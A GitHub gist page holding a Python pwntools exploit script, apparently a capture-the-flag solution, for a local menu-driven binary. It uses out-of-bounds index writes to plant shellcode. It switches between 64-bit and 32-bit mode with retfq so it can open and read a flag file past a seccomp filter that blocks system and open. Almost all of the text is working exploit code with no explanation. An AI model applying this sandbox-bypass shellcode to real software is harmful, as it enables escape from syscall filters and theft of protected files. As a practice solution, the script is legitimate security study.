Last active
June 13, 2021 07:31
-
-
Save Mech0n/5d7d4c966835ca2971e25da74408cecd to your computer and use it in GitHub Desktop.
限制system和open的ORW,需要retfq
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/python | |
#-*- coding: utf-8 -*- | |
from pwn import * | |
context.terminal = ['tmux', 'splitw', '-h'] | |
context(os = 'linux', log_level='debug') | |
p = process('./pwn') | |
shellcode1 = ''' | |
xor rax, rax | |
xor rdi, rdi | |
push 0x60 | |
pop rdx | |
mov esi, 0x1010101 | |
xor esi, 0x1612001 | |
syscall | |
mov esp, esi | |
retfq | |
''' | |
shellcode_o = ''' | |
mov esp, 0x602170 | |
push 0x67616c66 | |
push esp | |
pop ebx | |
xor ecx,ecx | |
mov eax,5 | |
int 0x80 | |
''' | |
shellcode_rw = ''' | |
push 0x33 | |
push 0x60212e | |
retfq | |
xor rax, rax | |
mov rdi, 0x3 | |
push 0x602500 | |
pop rsi | |
mov rdx, 0x60 | |
syscall | |
mov rdi, 0x1 | |
mov rax, 0x1 | |
syscall | |
''' | |
payload = p64(0x602110) + p64(0x23) + asm(shellcode_o, arch='i386') + asm(shellcode_rw, arch='amd64') | |
def debug(p, cmd): | |
gdb.attach(p, cmd) | |
pause() | |
def add(idx,data): | |
p.sendlineafter('Your choice :',str(1)) | |
p.recvuntil('Index: ') | |
p.sendline(str(idx)) | |
p.recvuntil('messages: ') | |
p.send(str(data)) | |
def show(idx): | |
p.sendlineafter('Your choice :',str(2)) | |
p.recvuntil('Index: ') | |
p.sendline(str(idx)) | |
def delete(idx): | |
p.sendlineafter('Your choice :',str(3)) | |
p.recvuntil('Index: ') | |
p.sendline(str(idx)) | |
if __name__ == "__main__": | |
# debug(p, 'b *0x602110\n') | |
add('-22', asm('ret',arch = 'amd64')) | |
add('-37', asm(shellcode1,arch = 'amd64')) | |
delete(0) | |
p.sendline(payload) | |
p.interactive() |
Author
Mech0n
commented
Aug 14, 2020
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment